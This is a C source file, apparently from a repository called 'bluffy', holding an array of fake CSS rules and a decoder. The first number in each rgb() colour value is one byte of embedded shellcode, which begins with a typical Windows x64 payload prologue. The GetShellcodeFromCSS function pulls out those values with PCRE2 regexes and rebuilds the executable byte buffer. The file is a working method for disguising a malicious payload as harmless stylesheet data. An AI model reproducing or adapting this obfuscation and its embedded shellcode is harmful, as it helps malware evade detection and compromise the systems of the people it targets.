mirror of
https://github.com/ad-995/bluffy
synced 2026-06-08 13:03:06 +00:00
514 lines
19 KiB
C
514 lines
19 KiB
C
#define PCRE2_CODE_UNIT_WIDTH 8
|
|
#define PCRE2_STATIC
|
|
#include <pcre2.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <windows.h>
|
|
|
|
const char* payload[] = {
|
|
":root {{",
|
|
"}}",
|
|
".AEAXVTK0QXP4 div p {",
|
|
" border: 2px 2px solid rgb(252, 118, 156);",
|
|
" border: 2px 2px solid rgb(72, 140, 112);",
|
|
" border: 2px 2px solid rgb(131, 97, 11);",
|
|
" border: 2px 2px solid rgb(228, 181, 89);",
|
|
" border: 2px 2px solid rgb(240, 116, 126);",
|
|
" border: 2px 2px solid rgb(232, 233, 58);",
|
|
" border: 2px 2px solid rgb(192, 63, 78);",
|
|
" border: 2px 2px solid rgb(0, 232, 244);",
|
|
" border: 2px 2px solid rgb(0, 62, 200);",
|
|
" border: 2px 2px solid rgb(0, 146, 254);",
|
|
" border: 2px 2px solid rgb(65, 230, 26);",
|
|
" border: 2px 2px solid rgb(81, 166, 89);",
|
|
" border: 2px 2px solid rgb(65, 12, 134);",
|
|
" border: 2px 2px solid rgb(80, 121, 11);",
|
|
" border: 2px 2px solid rgb(82, 131, 50);",
|
|
" border: 2px 2px solid rgb(81, 233, 99);",
|
|
"}",
|
|
".PLTD4LL6MRXN div p {",
|
|
" border: 2px 2px solid rgb(86, 39, 160);",
|
|
" border: 2px 2px solid rgb(72, 3, 178);",
|
|
" border: 2px 2px solid rgb(49, 103, 25);",
|
|
" border: 2px 2px solid rgb(210, 180, 57);",
|
|
" border: 2px 2px solid rgb(101, 160, 125);",
|
|
" border: 2px 2px solid rgb(72, 71, 113);",
|
|
" border: 2px 2px solid rgb(139, 215, 188);",
|
|
" border: 2px 2px solid rgb(82, 248, 33);",
|
|
" border: 2px 2px solid rgb(96, 53, 33);",
|
|
" border: 2px 2px solid rgb(72, 235, 213);",
|
|
" border: 2px 2px solid rgb(139, 161, 198);",
|
|
" border: 2px 2px solid rgb(82, 99, 166);",
|
|
" border: 2px 2px solid rgb(24, 157, 101);",
|
|
" border: 2px 2px solid rgb(72, 143, 88);",
|
|
" border: 2px 2px solid rgb(139, 167, 231);",
|
|
" border: 2px 2px solid rgb(82, 229, 89);",
|
|
"}",
|
|
".EXK2K61ZXZHZ div p {",
|
|
" border: 2px 2px solid rgb(32, 184, 64);",
|
|
" border: 2px 2px solid rgb(72, 161, 94);",
|
|
" border: 2px 2px solid rgb(139, 92, 227);",
|
|
" border: 2px 2px solid rgb(114, 141, 207);",
|
|
" border: 2px 2px solid rgb(80, 192, 182);",
|
|
" border: 2px 2px solid rgb(72, 251, 107);",
|
|
" border: 2px 2px solid rgb(15, 152, 8);",
|
|
" border: 2px 2px solid rgb(183, 213, 190);",
|
|
" border: 2px 2px solid rgb(74, 220, 134);",
|
|
" border: 2px 2px solid rgb(74, 25, 116);",
|
|
" border: 2px 2px solid rgb(77, 105, 92);",
|
|
" border: 2px 2px solid rgb(49, 193, 244);",
|
|
" border: 2px 2px solid rgb(201, 151, 226);",
|
|
" border: 2px 2px solid rgb(72, 3, 39);",
|
|
" border: 2px 2px solid rgb(49, 237, 3);",
|
|
" border: 2px 2px solid rgb(192, 97, 23);",
|
|
"}",
|
|
".CRE33FUKKPZZ div p {",
|
|
" border: 2px 2px solid rgb(172, 60, 65);",
|
|
" border: 2px 2px solid rgb(60, 181, 128);",
|
|
" border: 2px 2px solid rgb(97, 148, 184);",
|
|
" border: 2px 2px solid rgb(124, 170, 36);",
|
|
" border: 2px 2px solid rgb(2, 198, 131);",
|
|
" border: 2px 2px solid rgb(44, 163, 55);",
|
|
" border: 2px 2px solid rgb(32, 230, 114);",
|
|
" border: 2px 2px solid rgb(65, 143, 231);",
|
|
" border: 2px 2px solid rgb(193, 34, 251);",
|
|
" border: 2px 2px solid rgb(201, 233, 66);",
|
|
" border: 2px 2px solid rgb(13, 236, 38);",
|
|
" border: 2px 2px solid rgb(65, 231, 84);",
|
|
" border: 2px 2px solid rgb(1, 170, 33);",
|
|
" border: 2px 2px solid rgb(193, 196, 33);",
|
|
" border: 2px 2px solid rgb(226, 212, 43);",
|
|
" border: 2px 2px solid rgb(237, 210, 26);",
|
|
"}",
|
|
".RV5F8OEOXYL7 div p {",
|
|
" border: 2px 2px solid rgb(82, 12, 3);",
|
|
" border: 2px 2px solid rgb(65, 68, 184);",
|
|
" border: 2px 2px solid rgb(81, 201, 182);",
|
|
" border: 2px 2px solid rgb(72, 214, 102);",
|
|
" border: 2px 2px solid rgb(139, 26, 110);",
|
|
" border: 2px 2px solid rgb(82, 186, 175);",
|
|
" border: 2px 2px solid rgb(32, 154, 225);",
|
|
" border: 2px 2px solid rgb(139, 50, 24);",
|
|
" border: 2px 2px solid rgb(66, 50, 103);",
|
|
" border: 2px 2px solid rgb(60, 234, 99);",
|
|
" border: 2px 2px solid rgb(72, 225, 232);",
|
|
" border: 2px 2px solid rgb(1, 135, 29);",
|
|
" border: 2px 2px solid rgb(208, 157, 7);",
|
|
" border: 2px 2px solid rgb(139, 3, 221);",
|
|
" border: 2px 2px solid rgb(128, 244, 218);",
|
|
" border: 2px 2px solid rgb(136, 229, 182);",
|
|
"}",
|
|
".BGWFHM2IFT60 div p {",
|
|
" border: 2px 2px solid rgb(0, 183, 214);",
|
|
" border: 2px 2px solid rgb(0, 77, 239);",
|
|
" border: 2px 2px solid rgb(0, 127, 221);",
|
|
" border: 2px 2px solid rgb(72, 32, 37);",
|
|
" border: 2px 2px solid rgb(133, 135, 200);",
|
|
" border: 2px 2px solid rgb(192, 6, 57);",
|
|
" border: 2px 2px solid rgb(116, 94, 45);",
|
|
" border: 2px 2px solid rgb(103, 127, 19);",
|
|
" border: 2px 2px solid rgb(72, 32, 2);",
|
|
" border: 2px 2px solid rgb(1, 17, 192);",
|
|
" border: 2px 2px solid rgb(208, 191, 233);",
|
|
" border: 2px 2px solid rgb(80, 242, 54);",
|
|
" border: 2px 2px solid rgb(139, 146, 213);",
|
|
" border: 2px 2px solid rgb(72, 189, 27);",
|
|
" border: 2px 2px solid rgb(24, 252, 162);",
|
|
" border: 2px 2px solid rgb(68, 23, 19);",
|
|
"}",
|
|
".B1RPRGXYV052 div p {",
|
|
" border: 2px 2px solid rgb(139, 4, 55);",
|
|
" border: 2px 2px solid rgb(64, 32, 24);",
|
|
" border: 2px 2px solid rgb(32, 154, 133);",
|
|
" border: 2px 2px solid rgb(73, 37, 111);",
|
|
" border: 2px 2px solid rgb(1, 42, 226);",
|
|
" border: 2px 2px solid rgb(208, 107, 86);",
|
|
" border: 2px 2px solid rgb(227, 184, 128);",
|
|
" border: 2px 2px solid rgb(86, 123, 2);",
|
|
" border: 2px 2px solid rgb(72, 211, 58);",
|
|
" border: 2px 2px solid rgb(255, 86, 86);",
|
|
" border: 2px 2px solid rgb(201, 19, 122);",
|
|
" border: 2px 2px solid rgb(65, 179, 214);",
|
|
" border: 2px 2px solid rgb(139, 219, 46);",
|
|
" border: 2px 2px solid rgb(52, 138, 26);",
|
|
" border: 2px 2px solid rgb(136, 76, 206);",
|
|
" border: 2px 2px solid rgb(72, 197, 179);",
|
|
"}",
|
|
".OCMZ82WF837N div p {",
|
|
" border: 2px 2px solid rgb(1, 230, 38);",
|
|
" border: 2px 2px solid rgb(214, 180, 48);",
|
|
" border: 2px 2px solid rgb(77, 224, 207);",
|
|
" border: 2px 2px solid rgb(49, 252, 228);",
|
|
" border: 2px 2px solid rgb(201, 167, 154);",
|
|
" border: 2px 2px solid rgb(72, 136, 25);",
|
|
" border: 2px 2px solid rgb(49, 175, 114);",
|
|
" border: 2px 2px solid rgb(192, 66, 145);",
|
|
" border: 2px 2px solid rgb(172, 90, 153);",
|
|
" border: 2px 2px solid rgb(65, 202, 127);",
|
|
" border: 2px 2px solid rgb(193, 210, 159);",
|
|
" border: 2px 2px solid rgb(201, 127, 212);",
|
|
" border: 2px 2px solid rgb(13, 30, 88);",
|
|
" border: 2px 2px solid rgb(65, 245, 151);",
|
|
" border: 2px 2px solid rgb(1, 166, 14);",
|
|
" border: 2px 2px solid rgb(193, 124, 60);",
|
|
"}",
|
|
".7MIH3HDUTIST div p {",
|
|
" border: 2px 2px solid rgb(56, 66, 24);",
|
|
" border: 2px 2px solid rgb(224, 111, 1);",
|
|
" border: 2px 2px solid rgb(117, 20, 34);",
|
|
" border: 2px 2px solid rgb(241, 221, 3);",
|
|
" border: 2px 2px solid rgb(76, 71, 228);",
|
|
" border: 2px 2px solid rgb(3, 206, 65);",
|
|
" border: 2px 2px solid rgb(76, 73, 1);",
|
|
" border: 2px 2px solid rgb(36, 63, 14);",
|
|
" border: 2px 2px solid rgb(8, 213, 204);",
|
|
" border: 2px 2px solid rgb(69, 229, 118);",
|
|
" border: 2px 2px solid rgb(57, 182, 211);",
|
|
" border: 2px 2px solid rgb(209, 81, 98);",
|
|
" border: 2px 2px solid rgb(117, 98, 26);",
|
|
" border: 2px 2px solid rgb(216, 6, 227);",
|
|
" border: 2px 2px solid rgb(88, 22, 173);",
|
|
" border: 2px 2px solid rgb(68, 27, 208);",
|
|
"}",
|
|
".5VXMP740X7M7 div p {",
|
|
" border: 2px 2px solid rgb(139, 164, 110);",
|
|
" border: 2px 2px solid rgb(64, 94, 221);",
|
|
" border: 2px 2px solid rgb(36, 89, 47);",
|
|
" border: 2px 2px solid rgb(73, 72, 206);",
|
|
" border: 2px 2px solid rgb(1, 203, 81);",
|
|
" border: 2px 2px solid rgb(208, 163, 104);",
|
|
" border: 2px 2px solid rgb(102, 212, 111);",
|
|
" border: 2px 2px solid rgb(65, 236, 21);",
|
|
" border: 2px 2px solid rgb(139, 83, 194);",
|
|
" border: 2px 2px solid rgb(12, 88, 133);",
|
|
" border: 2px 2px solid rgb(72, 101, 221);",
|
|
" border: 2px 2px solid rgb(68, 94, 238);",
|
|
" border: 2px 2px solid rgb(139, 74, 252);",
|
|
" border: 2px 2px solid rgb(64, 211, 183);",
|
|
" border: 2px 2px solid rgb(28, 146, 173);",
|
|
" border: 2px 2px solid rgb(73, 80, 173);",
|
|
"}",
|
|
".VAOVJQWV353K div p {",
|
|
" border: 2px 2px solid rgb(1, 56, 207);",
|
|
" border: 2px 2px solid rgb(208, 89, 119);",
|
|
" border: 2px 2px solid rgb(65, 72, 108);",
|
|
" border: 2px 2px solid rgb(139, 183, 205);",
|
|
" border: 2px 2px solid rgb(4, 84, 182);",
|
|
" border: 2px 2px solid rgb(136, 189, 45);",
|
|
" border: 2px 2px solid rgb(72, 174, 68);",
|
|
" border: 2px 2px solid rgb(1, 237, 140);",
|
|
" border: 2px 2px solid rgb(208, 7, 252);",
|
|
" border: 2px 2px solid rgb(65, 169, 200);",
|
|
" border: 2px 2px solid rgb(88, 121, 150);",
|
|
" border: 2px 2px solid rgb(65, 232, 247);",
|
|
" border: 2px 2px solid rgb(88, 170, 69);",
|
|
" border: 2px 2px solid rgb(94, 92, 17);",
|
|
" border: 2px 2px solid rgb(89, 243, 71);",
|
|
" border: 2px 2px solid rgb(90, 110, 121);",
|
|
"}",
|
|
".0UTR4F1SLMPR div p {",
|
|
" border: 2px 2px solid rgb(65, 145, 223);",
|
|
" border: 2px 2px solid rgb(88, 189, 101);",
|
|
" border: 2px 2px solid rgb(65, 142, 166);",
|
|
" border: 2px 2px solid rgb(89, 219, 84);",
|
|
" border: 2px 2px solid rgb(65, 218, 237);",
|
|
" border: 2px 2px solid rgb(90, 62, 219);",
|
|
" border: 2px 2px solid rgb(72, 230, 45);",
|
|
" border: 2px 2px solid rgb(131, 218, 92);",
|
|
" border: 2px 2px solid rgb(236, 247, 137);",
|
|
" border: 2px 2px solid rgb(32, 93, 212);",
|
|
" border: 2px 2px solid rgb(65, 64, 227);",
|
|
" border: 2px 2px solid rgb(82, 57, 42);",
|
|
" border: 2px 2px solid rgb(255, 186, 90);",
|
|
" border: 2px 2px solid rgb(224, 124, 139);",
|
|
" border: 2px 2px solid rgb(88, 104, 82);",
|
|
" border: 2px 2px solid rgb(65, 161, 119);",
|
|
"}",
|
|
".KOJ3W2NXS62Z div p {",
|
|
" border: 2px 2px solid rgb(89, 7, 127);",
|
|
" border: 2px 2px solid rgb(90, 43, 90);",
|
|
" border: 2px 2px solid rgb(72, 60, 145);",
|
|
" border: 2px 2px solid rgb(139, 103, 165);",
|
|
" border: 2px 2px solid rgb(18, 83, 118);",
|
|
" border: 2px 2px solid rgb(233, 21, 238);",
|
|
" border: 2px 2px solid rgb(87, 2, 132);",
|
|
" border: 2px 2px solid rgb(255, 2, 246);",
|
|
" border: 2px 2px solid rgb(255, 136, 96);",
|
|
" border: 2px 2px solid rgb(255, 224, 55);",
|
|
" border: 2px 2px solid rgb(93, 219, 7);",
|
|
" border: 2px 2px solid rgb(72, 149, 186);",
|
|
" border: 2px 2px solid rgb(186, 4, 226);",
|
|
" border: 2px 2px solid rgb(1, 17, 55);",
|
|
" border: 2px 2px solid rgb(0, 172, 105);",
|
|
" border: 2px 2px solid rgb(0, 76, 248);",
|
|
"}",
|
|
".IEHCRLMOIH7S div p {",
|
|
" border: 2px 2px solid rgb(0, 5, 102);",
|
|
" border: 2px 2px solid rgb(0, 153, 107);",
|
|
" border: 2px 2px solid rgb(0, 66, 25);",
|
|
" border: 2px 2px solid rgb(0, 192, 93);",
|
|
" border: 2px 2px solid rgb(0, 252, 222);",
|
|
" border: 2px 2px solid rgb(72, 67, 226);",
|
|
" border: 2px 2px solid rgb(141, 247, 231);",
|
|
" border: 2px 2px solid rgb(141, 62, 248);",
|
|
" border: 2px 2px solid rgb(1, 160, 113);",
|
|
" border: 2px 2px solid rgb(1, 108, 80);",
|
|
" border: 2px 2px solid rgb(0, 230, 253);",
|
|
" border: 2px 2px solid rgb(0, 251, 148);",
|
|
" border: 2px 2px solid rgb(65, 21, 47);",
|
|
" border: 2px 2px solid rgb(186, 202, 195);",
|
|
" border: 2px 2px solid rgb(49, 246, 211);",
|
|
" border: 2px 2px solid rgb(139, 64, 223);",
|
|
"}",
|
|
".YO4G7EYLC6JX div p {",
|
|
" border: 2px 2px solid rgb(111, 222, 217);",
|
|
" border: 2px 2px solid rgb(135, 102, 20);",
|
|
" border: 2px 2px solid rgb(255, 2, 230);",
|
|
" border: 2px 2px solid rgb(213, 69, 240);",
|
|
" border: 2px 2px solid rgb(187, 80, 119);",
|
|
" border: 2px 2px solid rgb(224, 169, 224);",
|
|
" border: 2px 2px solid rgb(29, 229, 231);",
|
|
" border: 2px 2px solid rgb(42, 29, 252);",
|
|
" border: 2px 2px solid rgb(10, 96, 157);",
|
|
" border: 2px 2px solid rgb(65, 216, 213);",
|
|
" border: 2px 2px solid rgb(186, 162, 190);",
|
|
" border: 2px 2px solid rgb(166, 191, 126);",
|
|
" border: 2px 2px solid rgb(149, 122, 199);",
|
|
" border: 2px 2px solid rgb(189, 94, 159);",
|
|
" border: 2px 2px solid rgb(157, 216, 32);",
|
|
" border: 2px 2px solid rgb(255, 3, 226);",
|
|
"}",
|
|
".XU32AP4O5KOJ div p {",
|
|
" border: 2px 2px solid rgb(213, 45, 84);",
|
|
" border: 2px 2px solid rgb(72, 224, 216);",
|
|
" border: 2px 2px solid rgb(131, 251, 78);",
|
|
" border: 2px 2px solid rgb(196, 212, 246);",
|
|
" border: 2px 2px solid rgb(40, 12, 71);",
|
|
" border: 2px 2px solid rgb(60, 110, 80);",
|
|
" border: 2px 2px solid rgb(6, 90, 99);",
|
|
" border: 2px 2px solid rgb(124, 95, 227);",
|
|
" border: 2px 2px solid rgb(10, 120, 229);",
|
|
" border: 2px 2px solid rgb(128, 184, 144);",
|
|
" border: 2px 2px solid rgb(251, 67, 250);",
|
|
" border: 2px 2px solid rgb(224, 209, 8);",
|
|
" border: 2px 2px solid rgb(117, 124, 167);",
|
|
" border: 2px 2px solid rgb(5, 251, 245);",
|
|
" border: 2px 2px solid rgb(187, 107, 190);",
|
|
" border: 2px 2px solid rgb(71, 145, 28);",
|
|
"}",
|
|
".MC4LGYLN0RYG div p {",
|
|
" border: 2px 2px solid rgb(19, 142, 254);",
|
|
" border: 2px 2px solid rgb(114, 207, 17);",
|
|
" border: 2px 2px solid rgb(111, 106, 61);",
|
|
" border: 2px 2px solid rgb(106, 73, 56);",
|
|
" border: 2px 2px solid rgb(0, 202, 75);",
|
|
" border: 2px 2px solid rgb(89, 77, 243);",
|
|
" border: 2px 2px solid rgb(65, 82, 161);",
|
|
" border: 2px 2px solid rgb(137, 87, 8);",
|
|
" border: 2px 2px solid rgb(218, 73, 123);",
|
|
" border: 2px 2px solid rgb(255, 196, 25);",
|
|
" border: 2px 2px solid rgb(213, 19, 216);",
|
|
" border: 2px 2px solid rgb(99, 56, 151);",
|
|
" border: 2px 2px solid rgb(97, 171, 113);",
|
|
" border: 2px 2px solid rgb(108, 74, 102);",
|
|
" border: 2px 2px solid rgb(99, 44, 204);",
|
|
" border: 2px 2px solid rgb(0, 13, 16);",
|
|
"}"
|
|
};
|
|
|
|
struct cssdata
|
|
{
|
|
unsigned char* shellcode;
|
|
int size;
|
|
};
|
|
|
|
char *strremove(char *str, const char *sub)
|
|
{
|
|
// https://stackoverflow.com/a/47117431
|
|
char *p, *q, *r;
|
|
if (*sub && (q = r = strstr(str, sub)) != NULL) {
|
|
size_t len = strlen(sub);
|
|
while ((r = strstr(p = r + len, sub)) != NULL) {
|
|
while (p < r)
|
|
*q++ = *p++;
|
|
}
|
|
while ((*q++ = *p++) != '\0')
|
|
continue;
|
|
}
|
|
return str;
|
|
}
|
|
|
|
struct cssdata * GetShellcodeFromCSS()
|
|
{
|
|
int sz = sizeof(payload) / sizeof(payload[0]);
|
|
int holder[sz];
|
|
int count = 0;
|
|
memset(holder, 0, sz);
|
|
|
|
char* temp = (char*)malloc(10);
|
|
memset(temp, '\0', 10);
|
|
for (int line = 0; line < sz; ++line)
|
|
{
|
|
|
|
pcre2_code *re;
|
|
PCRE2_SPTR pattern;
|
|
PCRE2_SPTR subject;
|
|
PCRE2_SPTR name_table;
|
|
|
|
int crlf_is_newline;
|
|
int errornumber;
|
|
int find_all;
|
|
int i;
|
|
int namecount;
|
|
int name_entry_size;
|
|
int rc;
|
|
int utf8;
|
|
|
|
uint32_t option_bits;
|
|
uint32_t newline;
|
|
|
|
PCRE2_SIZE erroroffset;
|
|
PCRE2_SIZE *ovector;
|
|
|
|
size_t subject_length;
|
|
pcre2_match_data *match_data;
|
|
|
|
find_all = 1;
|
|
|
|
pattern = (PCRE2_SPTR)"rgb\\((\\d{1,3}),";
|
|
subject = (PCRE2_SPTR)payload[line];
|
|
subject_length = strlen((char *)subject);
|
|
|
|
re = pcre2_compile(pattern, PCRE2_ZERO_TERMINATED, 0, &errornumber, &erroroffset, NULL);
|
|
|
|
if (re == NULL)
|
|
{
|
|
PCRE2_UCHAR buffer[256];
|
|
pcre2_get_error_message(errornumber, buffer, sizeof(buffer));
|
|
continue;
|
|
}
|
|
|
|
match_data = pcre2_match_data_create_from_pattern(re, NULL);
|
|
|
|
rc = pcre2_match(re, subject, subject_length, 0, 0, match_data, NULL);
|
|
|
|
if (rc < 0)
|
|
{
|
|
pcre2_match_data_free(match_data);
|
|
pcre2_code_free(re);
|
|
continue;
|
|
}
|
|
|
|
ovector = pcre2_get_ovector_pointer(match_data);
|
|
|
|
if (rc == 0)
|
|
{
|
|
continue;
|
|
}
|
|
|
|
for (i = 0; i < rc; i++)
|
|
{
|
|
PCRE2_SPTR substring_start = subject + ovector[2*i];
|
|
size_t substring_length = ovector[2*i+1] - ovector[2*i];
|
|
sprintf(temp, "%.*s", (int)substring_length, (char *)substring_start);
|
|
}
|
|
|
|
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMECOUNT, &namecount);
|
|
|
|
if (namecount > 0)
|
|
{
|
|
PCRE2_SPTR tabptr;
|
|
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMETABLE, &name_table);
|
|
(void)pcre2_pattern_info(re, PCRE2_INFO_NAMEENTRYSIZE, &name_entry_size);
|
|
|
|
tabptr = name_table;
|
|
for (i = 0; i < namecount; i++)
|
|
{
|
|
int n = (tabptr[0] << 8) | tabptr[1];
|
|
tabptr += name_entry_size;
|
|
}
|
|
}
|
|
|
|
(void)pcre2_pattern_info(re, PCRE2_INFO_ALLOPTIONS, &option_bits);
|
|
utf8 = (option_bits & PCRE2_UTF) != 0;
|
|
(void)pcre2_pattern_info(re, PCRE2_INFO_NEWLINE, &newline);
|
|
crlf_is_newline = newline == PCRE2_NEWLINE_ANY || newline == PCRE2_NEWLINE_CRLF || newline == PCRE2_NEWLINE_ANYCRLF;
|
|
|
|
for (;;)
|
|
{
|
|
uint32_t options = 0;
|
|
PCRE2_SIZE start_offset = ovector[1];
|
|
|
|
if (ovector[0] == ovector[1])
|
|
{
|
|
if (ovector[0] == subject_length)
|
|
{
|
|
break;
|
|
}
|
|
options = PCRE2_NOTEMPTY_ATSTART | PCRE2_ANCHORED;
|
|
}
|
|
|
|
rc = pcre2_match(re, subject, subject_length, start_offset, options, match_data, NULL);
|
|
|
|
if (rc == PCRE2_ERROR_NOMATCH)
|
|
{
|
|
if (options == 0) break;
|
|
ovector[1] = start_offset + 1;
|
|
if (crlf_is_newline && start_offset < subject_length - 1 && subject[start_offset] == '\r' && subject[start_offset + 1] == '\n')
|
|
ovector[1] += 1;
|
|
else if (utf8)
|
|
{
|
|
while (ovector[1] < subject_length)
|
|
{
|
|
if ((subject[ovector[1]] & 0xc0) != 0x80) break;
|
|
ovector[1] += 1;
|
|
}
|
|
}
|
|
continue;
|
|
}
|
|
|
|
if (rc < 0)
|
|
{
|
|
pcre2_match_data_free(match_data);
|
|
pcre2_code_free(re);
|
|
continue;
|
|
}
|
|
|
|
for (i = 0; i < rc; i++)
|
|
{
|
|
PCRE2_SPTR substring_start = subject + ovector[2*i];
|
|
size_t substring_length = ovector[2*i+1] - ovector[2*i];
|
|
//sprintf(temp, "%.*s", (int)substring_length, (char *)substring_start);
|
|
}
|
|
}
|
|
|
|
// remove the "rgb bit"
|
|
strremove(temp, "rgb(");
|
|
strremove(temp, ",");
|
|
|
|
int intVal = atoi(temp);
|
|
|
|
holder[count] = intVal;
|
|
|
|
pcre2_match_data_free(match_data);
|
|
pcre2_code_free(re);
|
|
memset(temp, '\0', strlen(temp));
|
|
count++;
|
|
}
|
|
|
|
free(temp);
|
|
|
|
unsigned char shellcode[count];
|
|
|
|
for (int i = 0; i < count; ++i)
|
|
{
|
|
shellcode[i] = (unsigned char)holder[i];
|
|
}
|
|
|
|
struct cssdata* d = malloc(sizeof(struct cssdata));
|
|
d->shellcode = malloc(count);
|
|
memcpy(d->shellcode, shellcode, count);
|
|
d->size = count;
|
|
|
|
return d;
|
|
} |